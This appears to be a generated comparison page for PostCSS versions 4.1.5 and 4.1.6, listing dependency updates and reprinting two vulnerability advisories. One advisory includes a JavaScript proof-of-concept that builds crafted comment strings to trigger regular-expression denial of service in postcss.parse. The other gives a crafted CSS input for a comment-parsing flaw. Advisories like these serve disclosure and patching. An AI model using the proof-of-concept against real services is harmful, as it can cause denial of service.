PostCSS version 4.1.6 introduces subtle yet impactful improvements over its predecessor, 4.1.5. Both versions function as tools for transforming CSS with JavaScript plugins, empowering developers to automate CSS tasks, enhance code quality, and streamline workflows. The core dependencies, js-base64 and source-map, remain consistent, ensuring ongoing compatibility with existing integrations. A minor update occurs with es6-promise, moving from version 2.0.1 to 2.1.1, potentially addressing bug fixes or performance enhancements in asynchronous operations.
The more significant changes lie within the development dependencies. Notably, chai sees an update from 2.2.0 to 2.3.0, while stylus is upgraded from 0.50.0 to 0.51.0, and cssnext from 1.2.3 to 1.3.0. fs-extra sees a bump from 0.18.0 to 0.18.2, yaspeller from 2.0.0 to 2.1.0, and importantly, gulp-eslint moves from 0.9.0 to 0.11.0. Babel also gets updated with a bump from 5.1.6 to 5.1.13. These upgrades typically reflect bug fixes, new features, or performance improvements within the respective development tools. Developers relying on these tools during their PostCSS workflow should carefully review the changelogs for each updated development dependency to understand the specific changes and potential impact on their projects. Stylecow gets removed. Generally it is advised to use the latest PostCSS version available to benefit from overall improvements and increased stability.
All the vulnerabilities related to the version 4.1.6 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.